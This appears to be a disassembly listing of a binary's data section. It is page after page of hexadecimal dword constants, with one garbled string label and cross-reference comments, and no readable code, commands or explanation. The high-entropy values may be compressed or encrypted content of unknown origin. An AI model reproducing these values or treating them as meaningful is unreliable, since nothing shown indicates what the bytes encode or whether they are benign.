		dd 0CD0C1980h, 0B71D2CF8h, 2043616Eh, 0B8A5EFE5h, 2E464h
		dd 0F38A7378h, 68D62DF9h, 9150C701h, 8E7E69C8h,	7BA9DCh
		dd 19DF6A21h, 67A41EA2h, 0AC152A01h, 71F0384h, 0B06DB443h
		dd 48AE69D6h, 0E90138E1h, 0DEC4F3C2h, 0A6D5C4ADh, 0B6BBBD18h
		dd 14DC6F9h, 0CE985066h, 0F8D4AD7Eh, 400EE9Eh, 0D576E1E5h
		dd 39A4ED48h, 88541469h, 0A8EB056Dh, 807DB4D9h,	8C2E73E0h
		dd 0B0785100h, 0D2ED9A4Ch, 313D0070h, 58BC9879h, 4603C919h
		dd 0B93CD3C4h, 0E7A1D0F3h, 69660C4Bh, 0A6596C15h, 0B9D6A204h
		dd 0BAC024EAh, 195FB775h, 205B8BB6h, 0D560E258h, 8C2E767Fh
		dd 1E039A69h, 28608BB3h, 9D0F21h, 1301657Eh, 765554F6h
		dd 2B05F200h, 78D2F31Bh, 0F5768Ch, 25333D14h, 60D749DEh
		dd 0DCB9892Ah, 0AF6B441Eh, 6F30E03Dh, 294A1Ah, 31B92C4Bh
		dd 0D0E6CCBh, 0E9A3E301h, 6E379A68h, 0A9F3C180h, 7BA1CD18h
		dd 74132600h, 8D3D2819h, 24608862h, 9469A968h, 0DCFFA506h
		dd 61660011h, 657FE270h, 4803C223h, 1226413Fh, 0EFF2D80Eh
		dd 24BA00BFh, 3ED05903h, 0B3FEB298h, 0E5C2048h,	0E0923F83h
		dd 46E36B16h, 0D9BA1E7Dh, 2101B93Ch, 989CD2BCh,	55EAC85Ch
		dd 4259B300h, 0B0D546DDh, 1E470052h, 790F3137h,	260F913Ch
		dd 38A769Eh, 72073h, 0A5B51149h, 9438A7BCh, 19DD8430h
		dd 1F96410h, 0F7850648h, 42CDD0E8h, 0F7FC2EB7h,	1E1EFB17h
		dd 61A30E43h, 4A78063Ah, 612F7A88h, 76ED4101h, 5C31ABC4h
		dd 0C9012087h, 500592Eh, 0A0AD3DF3h, 0A82C3631h, 7FDC7C78h
		dd 0BE8300D2h, 8C21C32Eh, 2500C73Dh, 5582DC97h,	39725E3Ah
		dd 519C2681h, 0F29A421h, 61805CF5h, 0AF97B082h,	422F600h
		dd 0C78FDB53h, 0B5FA5Bh, 9C09C168h, 6BA90CB1h, 97ACC000h
		dd 698B2B85h, 147D004Fh, 950A7F92h, 0ED4C499Ch,	6AB41FC9h
		dd 9FA38780h, 0DC90624h, 0F9BF3461h, 327FE051h,	64CCE200h
		dd 629D80B7h, 7DF3E9C4h, 2460721h, 0C18F1287h, 83696388h
		dd 5E49818h, 3E6000F3h,	0F7937B61h, 0EA35CD34h,	0B08058BFh
		dd 7AE7C084h, 63C2006Fh, 0C8E67FEEh, 6207EDB7h,	6574B6BEh
		dd 238AAECEh, 0FF0D94h,	0B50199B8h, 655F406Ah, 5E91E00Eh
		dd 86B7A095h, 288ED4BAh, 0D9BBC4h, 7451BC1Ah, 0AA680E7Eh
		dd 0D9E158C0h, 907F2h, 49C6903h, 0C4DCE6BAh, 6C65C205h
		dd 8FC4F418h, 8008C87h,	6DDB09h, 0CEE5A283h, 9B9D71F0h
		dd 0CD18E663h, 0F2080005h, 40C81A9h, 57004131h,	92EAD119h
		dd 8DFA0h, 0D888EBDBh, 760E9D63h, 0F300F7FEh, 16CB5FF2h
		dd 0F6ECC4h, 0B87EBC86h, 76DA225Ah, 0F238EA60h,	75C19E0Eh
		dd 0A330C7C3h, 0ED67906Dh, 1D30866Ch, 9D8748FAh, 0DAEA0684h
		dd 0A916936Fh, 751F497Ah, 0F032F1CDh, 6B5C134h,	0EB991h
		dd 1D280D35h, 3CAF780h,	0FF59A2DFh, 61E94AC2h, 0DB9440F4h
		dd 0EA001370h, 0C3C95B2Bh, 4F1E0Ah, 0BD33D914h,	26348AEh
		dd 0D7023790h, 7C29C784h, 828180C3h, 650D5575h,	30D9107Fh
		dd 0AEE5E404h, 982710C0h, 7A4F7Bh, 5E6BE85Ch, 0B52D4A97h
		dd 0E3399178h, 9A8F24D2h, 29B1BF0Ch, 12B940D4h,	7428A100h
		dd 47B4DE86h, 0F4EA00B6h, 23146ECh, 3401B072h, 0FE103A43h
		dd 0F7F4A656h, 0A31C0367h, 0AA7F667Bh, 0FD7FFF8h, 2B00F17Bh
		dd 0C8837075h, 5CBACCF9h, 17FB5EDh, 63A6C507h, 0E4919861h
		dd 0D977AB33h, 0BCC9A000h, 0DCD19C39h, 0BE8700C5h, 0FF302F98h
		dd 6173828h, 0A600C132h, 3A5CDAC8h, 62AB593Eh, 427B731Fh
		dd 0EB8874A6h, 635DBE0h, 0C1ACA503h, 0E5BF658Bh, 6F80941Ch
		dd 0FDFA5CC9h, 7A850A64h, 0F35302h, 7D2F42Dh, 0FE00DF5Ah
		dd 0AAE37142h, 744D49h,	353C208Fh, 4770410Bh, 8BA6C200h
		dd 132806CFh, 5A2B0FEDh, 69A11CE0h, 0E8EFA0BDh,	9D00CA6Fh
		dd 73D1DFBFh, 411562h, 0FE33A117h, 0A3E0E6F6h, 802A6000h
		dd 66FA6A05h, 0E4B309B0h, 8980A143h, 0F1D8638Bh, 0ECAA8A28h
		dd 9F7E4500h, 8DB4C99Eh, 0E1520E8Fh, 35C02947h,	5ACB84B2h
		dd 3C0759FAh, 1AA1C515h, 0A1129882h, 0EEEA24E4h, 2B2EF8h
		dd 0DF33C072h, 370D92D8h, 0F03A3E01h, 7C905079h, 0FE9748D4h
		dd 8E60022Fh, 0E7875B35h, 3776B2E0h, 0F5784A00h, 61EBA6A7h
		dd 49ED1C54h, 8D400020h, 371050DDh, 7B9B6D07h, 7540625Fh
		dd 0B0A38E95h, 0C8A960EAh, 9E30259h, 0A2E81D12h, 0A2001C12h
		dd 4990141h, 472C00F0h,	0C7E3B5D9h, 0CE5C0588h,	464500C7h
		dd 61B8B994h, 0C2A2001Ch, 0D333F50Fh, 93606E83h, 0A98D7AC8h
		dd 20501F78h, 9F5C8E4Ah, 0D3BD5640h, 8B00A4E2h,	0ED4BF7Dh
		dd 9454A5h, 4966C0F9h, 3A254092h, 60EB1200h, 41B95F36h
		dd 0B3CA00A3h, 0E82779C1h, 9B007FD8h, 0E6CCD4F3h, 38175D7Ah
		dd 0DF8030A0h, 3DCF1BF9h, 480005DEh, 58CB7E44h,	0A037BD85h
		dd 0FA0CE0D3h, 0BFF70097h, 4F805E47h, 0DF015B53h, 4160B6D4h
		dd 0EBC8247Ah, 2011006Fh, 365F3BF9h, 2800144Dh,	40B7BEFDh
		dd 701AA4h, 8ADE4CC1h, 0F9AD96C7h, 0DE4D604h, 14D037B7h
		dd 36C09h, 0EE4FF51Ah, 4114305h, 69227900h, 19A15ABh, 0D2FE00FFh
		dd 526FCA36h, 0ED3E8FE4h, 6ED50075h, 43D45508h,	0A5AE004Fh
		dd 6A225066h, 0DB05FB3Ch, 371389BCh, 0C03F5B82h, 0EE6149D0h
		dd 2E1B5C6Ah, 66F9AC03h, 0B0D8C2AFh, 50242D9Dh,	0AA00D8B9h
		dd 47D04D58h, 0D4D70030h, 34DCC176h, 18607A3Bh,	9AF8FDC8h
		dd 3239131Dh, 884D00D6h, 6D60E93Fh, 8F462509h, 4F78A0B9h
		dd 7CC6959Ah, 54A60AE7h, 3F45B99h, 7D36AF3Ch, 20FFF7AFh
		dd 73E812F4h, 0D976B700h, 0E6220CF3h, 0BCC33F2Ah, 0B2273509h
		dd 9D6938A0h, 38C05FACh, 64AF8567h, 89F0089h, 0F4D9AD9Ch
		dd 0CF0081E0h, 2FAEA92Dh, 0B65FEEh, 6EDB337h, 0DD7726F3h
		dd 8C3C4700h, 0D414CE2Eh, 0FFF2005Ch, 0E41E4D27h, 2F00F5EBh
		dd 85D2CA23h, 0FE564C22h, 0E3F70039h, 0C4C6595Bh, 30E9B537h
		dd 0EB00CEC6h, 621A9540h, 0BEF478h, 0A21860E6h,	0B49ED598h
		dd 58C72400h, 0B1FB8B2Ah, 0EAD314C3h, 0EC009087h, 893AEA1h
		dd 740356D4h, 0FD0D499Dh, 7E67F052h, 0F90E2BEh,	0DA359239h
		dd 7D5DB460h, 0F701BCAAh, 2CA4B870h, 42ECFDF2h,	3A1600C5h
		dd 60EE6CC3h, 0C6004CA6h, 2202BB17h, 9C07EBh, 0F73BFF3Eh
		dd 0C91C0647h, 0B3EE6D09h, 0BA9427CFh, 0B25A150h, 39721FF8h
		dd 2BE280B1h, 49E8C723h, 7EDB962Fh, 8FD8015Ch, 0D79DEFCBh
		dd 762DDEA0h, 3A872303h, 0E7AA919Ah, 0FF80F070h, 1037FF2h
		dd 684F9ECEh, 245A29AFh, 1A1C34A4h, 0B3C0F51Ch,	0EB7C0AFFh
		dd 60ED5858h, 8C6C3F00h, 0CEFEF6FBh, 0EF69B91Dh, 2800BD12h
		dd 7472B2B6h, 0FE6006Fh, 0FC09024Fh, 0C1003436h, 5B10E5A0h
		dd 38AD972h, 0D71B4BF5h, 48A8F983h, 333CDBA2h, 267001C9h
		dd 4FFCBA97h
		dd 0CFDFE0h, 0FE60C840h, 0A3E2BA2h
		db 0
a_JqU0DxN	db 'ы.$├÷ [·0╩dXв"n',0  ; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		db 20h,	0F8h, 0F3h
		dd 41EBCD3Ah, 114F001Dh, 0B8E0E950h, 10001722h,	24CA3C45h
		dd 59EB23h, 0C21AD032h,	8ACC30Ah, 80F32D3Dh, 0F46050ECh
		dd 0E933Ah, 244E8A15h, 53776799h, 8C552300h, 909EF0AEh
		dd 0F8F60052h, 0FE091F98h, 8F006F0Ch, 8BB17BD3h, 12046A37h
		dd 806B25h, 0CA1428B0h,	2700FE7Eh, 0CD8EAE72h, 7BA42ECh
		dd 80316F8Ah, 12FB03BBh, 0E2EAC2D0h, 9C135300h,	212C84FCh
		dd 5CF60CC4h, 7B8064BCh, 2D889F12h, 0B23E00EFh,	0D7700DC3h
		dd 0F965F707h, 6181DC8Ah, 1090F084h, 0A75E039Ah, 8FF5BF3h
		dd 92C9E420h, 23228C00h, 48196866h, 607089FCh, 9F7969B8h
		dd 0CD13D427h, 820A7166h, 0F9010897h, 98B9B274h, 0C7DDB0CCh
		dd 10682F50h, 88997B25h, 0D081A300h, 19F045CEh,	0EEB20F4Dh
		dd 88F870FDh, 2F384F77h, 811F7CC4h, 928049ABh, 47885642h
		dd 46A70020h, 0A34F50EEh, 8E7E37EFh, 0F3C7200h,	0C481FC3h
		dd 66E80F41h, 0C05D85F6h, 558C602Eh, 2A0017F5h,	8290B2BEh
		dd 67A26664h, 90AEE8F4h, 2128B713h, 0E0682E33h,	0C5083019h
		dd 0B712B621h, 2CF69D00h, 49E9E3F5h, 45890776h,	0A1E27CE8h
		dd 0FBD80DA2h, 83B61814h, 0F0240294h, 0A099940Eh, 9DB2CEA8h
		dd 1BC30E6Fh, 7C6C8879h, 0D0A1DF08h, 9D84208Ch,	36B1C202h
		dd 8ABC46D7h, 65832C88h, 0BB869A22h, 6C110077h,	0F91A3B14h
		dd 5919C3C2h, 0A408D2F1h, 2C362180h, 8794243Bh,	8406C907h
		dd 0B8307107h, 0C455090h, 781517F9h, 0E1182310h, 1170E7FEh
		dd 0A87418E3h, 0DB44D88Ch, 5849FF0Ah, 61919CB8h, 13B71C80h
		dd 448C2621h, 0ACA0B954h, 6B00CBFEh, 2F0BBCF1h,	180444Ah
		dd 0BF1C1D45h, 0EC257648h, 0B96C16C7h, 8C85E880h, 6F3B2702h
		dd 19DCFAF9h, 1F4D10A9h, 0FF743Bh, 0A156A84Bh, 57531C1h
		dd 0C8F02828h, 3DBAC480h, 10C0C9E8h, 0D88D37C1h, 30B8E7h
		dd 0D2CCF28Bh, 451CDE16h, 60A76A00h, 0F7F66E66h, 3FB50044h
		dd 5E3102BAh, 9300B3BFh, 2ED0EB82h, 0EA74F0h, 44096119h
		dd 0E0A933DDh, 0F14E8901h, 4D81D836h, 6EDC64D1h, 9C01288Bh
		dd 96E601B7h, 9A25D3B5h, 80ECC435h, 7037B000h, 7C33A8B2h
		dd 0C23F00DAh, 52B77A69h, 0BB03AAA1h, 0B894CACh, 56D1A805h
		dd 3DC50060h, 619B7732h, 0F9007E4Bh, 2BD899BCh,	0EED5319Ah
		dd 76BA1F38h, 0F67800FCh, 95658BF3h, 550019FCh,	0D37E77FBh
		dd 1C4426F4h, 80E5A1E0h, 99FFA0B2h, 34005F52h, 0AB240BFBh
		dd 0CD5433ADh, 0DC21B008h, 0BD003477h, 0D8D6881Ch, 0E45AB89Fh
		dd 4C2A80B1h, 3709431Fh, 8CACC313h, 42241B07h, 68D5092h
		dd 3B1FA377h, 1A000B44h, 91877E80h, 0E9C41D99h,	0DF8830F5h
		dd 5F0171FBh, 94ADDDBAh, 88CED82h, 0B5209A26h, 9F711301h
		dd 0D4DB0A23h, 784EFDCh, 0FF8C2D8Fh, 1BFD904Bh,	31C002E8h
		dd 906BD323h, 6D773D4Dh, 71B800FDh, 4CD85FA4h, 4363B614h
		dd 70EA788h, 88C29830h,	0D7823090h, 0FE0F13DBh,	837FCE1Bh
		dd 1CCAC4BBh, 8C1AFFA9h, 670ED7Bh, 863E8F18h, 19B2F720h
		dd 299C175Ah, 0E6EAE4B9h, 0B4BE1A01h, 0B5CE12CBh, 9C409DD3h
		dd 99E9BFCFh, 0F97302h,	5E2D6D80h, 0F669D981h, 9B70FC60h
		dd 36B8CAh, 7B7E3355h, 0FDB382A3h, 71BA1903h, 13F47685h
		dd 590899h, 93525834h, 0F4A938CAh, 87918EFh, 540B1134h
		dd 0F240B7C4h, 0A9C23451h, 56456600h, 0C6DF8C4Fh, 82670054h
		dd 96C8E07Ch, 44001599h, 877DE2DAh, 169598Ch, 0E0FEF0A5h
		dd 0E0D23385h, 4C03A376h, 0D44F0468h, 0A8A4910Bh, 0ABDCF0F3h
		dd 40F60044h, 7BF7B21Dh, 8C008042h, 9E0882DEh, 192038h
		dd 6E2B942Eh, 22A6E21Bh, 3866A00h, 0AFE627E9h, 7C7299h
		dd 0DC5461BEh, 85D3FB18h, 63C1C900h, 0F9967E8Bh, 39B7001Ah
		dd 20979D8h, 8500A7B9h,	0A47D51E9h, 0C159AD28h,	0A8784634h
		dd 6514409Ch, 7501426Bh, 27B81E2Bh, 5BF07828h, 196F07BAh
		dd 196D94Eh, 0EF3BB259h, 0C99C1000h, 70A94373h,	7CF8EF63h
		dd 7711F5Ah, 987E809Fh,	34F0DB10h, 70022F30h, 388F62h
		dd 297748F5h, 0E7BE752Eh, 43885907h, 0B06020AFh, 6D349C5h
		dd 2AABC9A4h, 90138D5h,	1FBAE9F4h, 3C8168FAh, 549F91A9h
		dd 7A9420E6h, 0AD5D5A1Ch, 303A3B0Ch, 96670002h,	6F633CC1h
		dd 0CF0092AFh, 0AB3BCB5Bh, 2841D31h, 83F7F98Dh,	46001F4Fh
		dd 6C73722Dh, 0FC20403Fh, 403B0E18h, 0D91F51h, 69653EF2h
		dd 0A7F8857Eh, 77220800h, 0BF252CC8h, 0D68C00D2h, 3283D527h
		dd 0D00BADEh, 39574EB7h, 0FE45BA4h, 56964A91h, 0ED8189EBh
		dd 0C10D11C7h, 0F01860A6h, 3562670Fh, 0DDCBC045h, 13865B8h
		dd 31FBE45Dh, 0CC91E5CEh, 0F007CD5Ch, 0A8D08E32h, 710A802Eh
		dd 8E71Ch, 43B58291h, 0B08A3312h, 0DD6D9F00h, 72EB39DBh
		dd 9127001Ah, 987635A2h, 0F300A3DCh, 7FE7669Eh,	17AC2D4h
		dd 918DBE0h, 871295F6h,	0EE390D88h, 15AFF83h, 33B6DB50h
		dd 80524CA5h, 0C5DCCED0h, 60039CD2h, 2309A1EFh,	30C07517h
		dd 0F7E01E4Fh, 83620048h, 9095D4ADh, 8772CDFBh,	8CA6262Ah
		dd 7F2FD50Fh, 0A3B56333h, 0E05CF3AEh, 1EB1B642h, 0CECCE8F8h
		dd 0A8003B41h, 3EC6A582h, 0E6DB300h, 3832BFB6h,	0FD7394h
		dd 0D58C5039h, 0A372DA21h, 0FC58D228h, 0A87B5E00h, 0E2F98A41h
		dd 5D610063h, 30E0814h,	461DE33Ch, 813A5516h, 0F6E07E05h
		dd 97D039C2h, 47D11DDAh, 21621899h, 0F000A41Fh,	17B3C0BDh
		dd 213588Fh, 0AB38AC3Eh, 0EBC0FEC2h, 0C80449DAh, 6BF16162h
		dd 598FC880h, 609D7D98h, 19A5485Eh, 502C71B4h, 780CFC4Dh
		dd 0C0010815h, 0B45BF621h, 333776B0h, 76018A3h,	3F5E0526h
		dd 3079E3C9h, 8310FC85h, 0EB001A48h, 51F0187Eh,	0E8FA7036h
		dd 20376012h, 1613499Ah, 739E7D00h, 146EFECFh, 0FC940C36h
		dd 0B3D9A683h, 30DE39F2h, 1277D901h, 80834F96h,	0B00A9A87h
		dd 365E2900h, 0BDD651C7h, 36DE704Dh, 98A0E1A3h,	8006CA21h
		dd 7E2D1A4Eh, 4486F148h, 4500342Ch, 2E0D4413h, 0B65DB2h
		dd 1A269C41h, 14307553h, 52D00B54h, 2A6098F0h, 9E242710h
		dd 0B2E42869h, 0D28E008Ah, 0CF846FEEh, 2C00A5FBh, 9FCD05C1h
		dd 186EB52h, 0C413E0Eh,	0DCC8C42Ah, 220088F4h, 3E742FFh
		dd 0E169FE0h, 12BFDF4Fh, 43B34020h, 7DF41AC4h, 65183E00h
		dd 7FDE46E4h, 0D2EA008Fh, 832E4884h, 9207813Ah,	0C860C0A2h
		dd 0E81F1960h, 0BB640023h, 3361A0BDh, 0B774B334h, 8B6C6600h
		dd 9DE5272Dh, 1BCA07C7h, 46C01742h, 750021C3h, 6D9B2765h
		dd 9AA16Eh, 525BC681h, 6B0E55EEh, 28BB8C37h, 0D8C54A50h
		dd 0ECC11F3Bh, 0E557C338h, 0C4A15E60h, 0A4208017h, 0C22A3A30h
		dd 49EF00A3h, 35C1F3EEh, 5C7CA1F0h, 0E785A80Eh,	9912C155h
		dd 304A0F4Ah, 301EB8C4h, 23D88Fh, 6BFAAADh, 216C9FAEh
		dd 48341330h, 60FCEE4Ah, 23CD6887h, 0F9079384h,	6BE104A1h
		dd 0E7F60A23h, 805EB555h, 816A998Ch, 0C2D50764h, 0C174F6E5h
		dd 95885185h, 0A8540E48h, 3BE7B3Ch, 4308B28Ch, 0EB9817FEh
		dd 88A36415h, 0B641BCA0h, 7C33783Ah, 18567D30h,	0E28F7398h
		dd 0FFE100E9h, 0CC1BD39Bh, 6F1F5974h, 9880EE40h, 165B79C9h
		dd 38FC0445h, 0EF2E5FB4h, 0B00348C0h, 29633BA0h, 0EC924A03h
		dd 0E8A04D8Ah, 4F0041FBh, 0DA8718ACh, 0B60415h,	7C55581Fh
		dd 0C85FB3D2h, 1286430Fh, 18E9200Fh, 188A491h, 0AA9015B9h
		dd 0C8815CC7h, 2F0042AEh
		dd 64E3C603h, 0EEBA9716h, 99683B04h, 6F2BC100h,	4783D9B9h
		dd 21C408CCh, 96EA00C3h, 829313E9h, 0DC008A98h,	0B1CA5C9Ch
		dd 0F0B032Ah, 0C8041C85h, 31BC6EE0h, 510E5DCBh,	0D78E4Eh
		dd 9D501B6Ah, 0DA9E0095h, 3E328E0h, 3ED016AFh, 8AC90610h
		dd 0C248D9B7h, 1E4A6E21h, 0DA09F303h, 5AE501F8h, 0C0CFD796h
		dd 538D1C90h, 83817460h, 762B1312h, 0DBFA0C7Eh,	1F081061h
		dd 9C20D760h, 7CE3136Bh, 0B42838A9h, 8A6D028Fh,	40747227h
		dd 79032B2Ah, 633E2300h, 0AA78B2DBh, 3F274D3h, 0ED6F076Eh
		dd 4B901D11h, 85003B03h, 0DA9CDBE4h, 1BFCA80h, 2C5E8127h
		dd 0F04C82A7h, 25007201h, 0DFAC402Fh, 0BB7A93h,	5CBA59E2h
		dd 86C0AAD1h, 879E8A0Fh, 3CC6C0E4h, 13A3CE55h, 0C464E7h
		dd 4A2DEF70h, 661E0E61h, 0F58F4119h, 0E4948558h, 845BF000h
		dd 286ACAh, 802EC45Fh, 678579B0h, 7EDB2300h, 0E2582D62h
		dd 17FB005Ch, 0A522D425h, 0AC24DDB3h, 2D00B180h, 575B6BDBh
		dd 0EAAF3EE2h, 90D92030h, 0CD00A470h, 0BD9F617Eh, 0EBF3A9h
		dd 0DD0FD3DCh, 948EA06Ah, 0AF47DA00h, 74583A66h, 383F8E4h
		dd 59DBDED9h, 87CEF1Ch,	0E7E9AE00h, 99110B16h, 430D0FADh
		dd 8BC03038h, 0EB5E9858h, 3F008C7Dh, 960EA9B2h,	7A2126AFh
		dd 0C5223F89h, 2C73789Eh, 5669079Ch, 0B7249062h, 3900CB37h
		dd 3812D9A8h, 3A8F96FBh, 0E00353FCh, 59DA8680h,	0CBDD500Ch
		dd 5C58AEh, 0AB8A0521h,	0EB91A6BEh, 8200F898h, 0CA9257DCh
		dd 7A02477h, 0C6349E5Dh, 8EEFC00Fh, 70FADF1h, 0D26DC9h
		dd 58BFC28Ch, 52B130EEh, 19042FB1h, 833F0B07h, 7F71919Fh
		dd 3CE83850h, 18097F7Ah, 989AC4E5h, 51F5D9A7h, 0BE36CC0Ch
		dd 4B381838h, 1E0C5351h, 24684A9Ch, 267B0064h, 0FFE6B7BEh
		dd 7E048600h, 9FB80B22h, 1EECE9B1h, 12D1E85h, 0E1B7C09Ah
		dd 0E267434Ch, 21C0BDE8h, 1B0115AFh, 0FC9C7C68h, 0E7A53ED5h
		dd 77E4E503h, 0FCD02530h, 0C5241BF1h, 0E11F3F56h, 8E949186h
		dd 0C6AB0729h, 0F0142337h, 81E4C862h, 5560AC74h, 0BD4EE560h
		dd 0A475003Eh, 9A8A3CFEh, 0B6069F6Fh, 3F5AE857h, 4D410788h
		dd 0CC5C080Ch, 68C8E599h, 37FAC09Dh, 0BD761447h, 224F4486h
		dd 420C6800h, 8E039814h, 51BB0FE8h, 30FD253Ch, 68FF1971h
		dd 0C95C3732h, 0F4C9319Ch, 15461440h, 653040h, 0CED03EB8h
		dd 4DF9760Ch, 9A2DF11Dh, 20DC00FFh, 2C7EB51Ah, 18363DF4h
		dd 55950B00h, 0FC6DC102h, 0B7826B00h, 92DB906h,	0C92B0190h
		dd 391AA4A2h, 19AC48F3h, 5388DF18h, 28DA10h, 9B331894h
		dd 0AB387D8Ah, 9F3DCD00h, 649DB4F7h, 0C0930339h, 8F01F888h
		dd 12F0AE80h, 33B91506h, 1C0C953Fh, 8CD130h, 1755F4C1h
		dd 0F2009F96h, 0CA222AC4h, 3D620CFAh, 0A80002B3h, 329063DBh
		dd 2500C43Eh, 24DCEC88h, 7B6EF35Ah, 53B7006Dh, 4DA9FC14h
		dd 8F004B2Eh, 8B5BD1DBh, 0E3229Ch, 7C574CE5h, 785A0604h
		dd 41608F00h, 2FBFDB0Dh, 0E9B4014Bh, 2DDA619Dh,	69A8E8D0h
		dd 14249CBh, 9DDFCAEFh,	714ECE4h, 273E2635h, 64344096h
		dd 5730B905h, 87C5314Eh, 14A001E9h, 76BE9309h, 0A27CDC6Fh
		dd 0DB4BFB00h, 8B52A82Dh, 78F930C1h, 0EF2A6A10h, 8F69BC03h
		dd 60DDD4E1h, 16C91889h, 0B008052h, 0A9036FD0h,	0BE7881h
		dd 0A32E608Eh, 0EAA3D22h, 0F9BAEE03h, 98BC9B6Eh, 0FC438A08h
		dd 2EE8C0A9h, 40153A16h, 0D98C0600h, 0C8F32CDAh, 0A9ED7078h
		dd 4A702E80h, 568400E6h, 0A3F8D1A9h, 900B97F6h,	0C09C823h
		dd 66E1B2h, 96E3F7D3h, 7A70D469h, 847CA77Eh, 72C0C600h
		dd 0AEF01AEh, 15712Dh, 225DDDBDh, 4C8C2C79h, 29BB8E19h
		dd 0CA306048h, 0DED8009Fh, 0EFCEC46Fh, 0CD000CA2h, 0EB9B99B7h
		dd 64E6F3h, 431F5DE7h, 284CEA94h, 7A658900h, 0A2EE667Ch
		dd 3444002Ch, 48C91C9h,	0AE60418Eh, 3FBD0C18h, 0AFB70092h
		dd 9B32EA69h, 36010F07h, 0BB8FA3C3h, 0EE1187F6h, 9D75C442h
		dd 0BFBE1518h, 0EB12B620h, 1DBD5FF0h, 94ABCDh, 244D7165h
		dd 0AE061DFDh, 2EFEFC3Eh, 1E16F890h, 0CBFEF3Dh,	9B80CC4Eh
		dd 3E9D505Ch, 3563F30h,	76153F80h, 0AE8FF88Bh, 7323EC3h
		dd 9EEB9Eh, 0E6A8E516h,	981D23F2h, 19717A15h, 4213D5DDh
		dd 40A826E7h, 6EEF6B01h, 36A5D46h, 0A8C16130h, 437CA0h
		dd 2F942CFFh, 150ED9FBh, 6CC2A800h, 67052C4h, 0DDD30CDBh
		dd 0A18ED5AAh, 7A3BED06h, 1D39D77Eh, 0E26CBA8h,	98CEF7D5h
		dd 646E97C0h, 0F53EE325h, 7440002Fh, 900ACC9Fh,	0ED364422h
		dd 20EBF100h, 0C8BF706Dh, 2662066Fh, 2053D232h,	5155D507h
		dd 34802B23h, 1FCA3C15h, 409D4992h, 80985ABFh, 0CD171BFDh
		dd 0E10037F1h, 18789104h, 46C10E9Fh, 0C4630ED2h, 0DBAAE786h
		dd 0B99B980h, 0AD183CF7h, 0D1D0E287h, 70AE81F4h, 8800FB5Bh
		dd 1ABDE88Ch, 32C8F26h,	0D6AA3AFFh, 99B0D586h, 0FC003C50h
		dd 96524C06h, 49087Fh, 56E90CC5h, 2465DE6Eh, 0FF3A5E90h
		dd 4B350E33h, 80D20EB5h, 57C2F726h, 617000EAh, 7560334Ch
		dd 2B07DF73h, 8D55B1A8h, 0D3267760h, 0C08374CDh, 9EBD3940h
		dd 240096D4h, 32D5D82h,	0E65395h, 21ADB2F4h, 0C9A69D39h
		dd 0DE735200h, 891AA177h, 0E00803FAh, 795588F4h, 4165A4D1h
		dd 0DC7C77E4h, 2F001E20h, 5D1CFF8Ah, 0E4675823h, 0F5390031h
		dd 3D61A2D4h, 520038BDh, 620324BCh, 3718A0E6h, 76984D22h
		dd 0D91DA180h, 0E0F75127h, 957B46C0h, 2CA72E8h,	89F556ADh
		dd 84802BD7h, 87622A1h,	0E9E0390Dh, 3130417Bh, 0BDC30C16h
		dd 5578A31Ch, 0B069A600h, 0D54CF424h, 595401D7h, 0B7FAE12Eh
		dd 0FB7CD410h, 0E6F8F301h, 9B895F46h, 15AC3420h, 24BB3B6Ch
		dd 604F10h, 8AF3F5AFh, 182C80FDh, 0B0D3A3C0h, 4C6048C5h
		dd 4AD20388h, 117F6D98h, 8B040AB0h, 10808CE6h, 6F70004Ah
		dd 5A18218Fh, 0D91C2D75h, 8540B77Dh, 0E5E76949h, 2AE40179h
		dd 0B31FDD61h, 19A4700Eh, 4E4D6D00h, 44153592h,	95430051h
		dd 2FC0F139h, 0D8FBA3B6h, 1000BD0Fh, 0FD757E16h, 75D4Fh
		dd 0CD2DC68Dh, 85DA991Fh, 4565A700h, 7E0AD7F3h,	77EA00F8h
		dd 80AAFBD3h, 1200C37Fh, 7850BF58h, 92B6D05h, 6794FA75h
		dd 4DA74F80h, 0D5078821h, 649D4C8h, 55C9C530h, 6E7E77h
		dd 1F80A456h, 0C770B3CFh, 9419AD00h, 9586B8FFh,	364E2ED8h
		dd 0DF7B00DBh, 0C909FD53h, 2BE8CE00h, 0D597AEF7h, 1F6FAB6h
		dd 2ABDB388h, 0DDFE47C3h, 5DB2E84Fh, 0AC00C275h, 7C62CFEDh
		dd 3C2F13A5h, 0D10E0870h, 7A69FC9Fh, 0BC60940Fh, 5B04DCC9h
		dd 0C0E46000h, 2674A3F1h, 0E169005Ch, 7A18C483h, 0DC00AE08h
		dd 4BE92E99h, 0CD5F49h,	0E2B85E48h, 1241A884h, 0E3F4F126h
		dd 5F184400h, 0DA85A5h,	8E57C99Fh, 3666038Ch, 0B13C0892h
		dd 0B9A180DBh, 6D07D187h, 9860942h, 5380AE24h, 9A958DB2h
		dd 4E000BECh, 3027ABBCh, 10879E7h, 723BD60h, 8037587Eh
		dd 3546D551h, 1C9AF396h, 0BD8EA86Dh, 0DF32421Eh, 0E774C0B3h
		dd 0F15077D1h, 0C3176C03h, 0F80BA140h, 2C85E4h,	136B38E0h
		dd 77EE46ACh, 0B55CE81Dh, 5A227382h, 0AE98032h,	8ACE9Fh
		dd 0C0C3BE30h, 25D7E46Fh, 4616D090h, 8076690h, 4A51FE88h
		dd 80C408B8h, 32CA0097h, 969E5C15h, 0C5F260B0h,	755A401h
		dd 418CDFCCh, 781CECh, 7E3D2762h, 7208ADB9h, 2C20C00h
		dd 0B607400Ah, 136A037Fh
		dd 3FA2CF41h, 1C91B4A0h, 1D739F00h, 0B558BE39h,	28E0744h
		dd 0B383C38Ch, 79A81993h, 5C00259Ah, 3530F8AAh,	3E0E4CC0h
		dd 6C02F218h, 0BB38BC94h, 2AA10E40h, 85C3C538h,	5B7327DFh
		dd 3B5951C0h, 440B00CEh, 618B34F4h, 0FD00BA9Eh,	1BF04DDDh
		dd 0BB8DD4h, 0A317C956h, 27CBAC20h, 0D09B9F00h,	0EF9E0877h
		dd 0EC21507Bh, 0FC2C0B17h, 94008948h, 6846FD3h,	9C4CC200h
		dd 96DCA7E5h, 48400AC1h, 17EBAD6Eh, 1D0E00AFh, 7FD67EF6h
		dd 1CFC094Ch, 0FBC0EC2Dh, 6BA45C46h, 0DBC900CFh, 724E88E4h
		dd 270133CAh, 7C7BE6AAh, 6EE4AE8Dh, 0DCD500ACh,	0B5E3C4Dh
		dd 85B8B0DAh, 781D5BF8h, 0A3853D10h, 0DDC040CAh, 4E7072h
		dd 39143E21h, 83F45CD3h, 63063500h, 0DE66BDEFh,	702B0ED4h
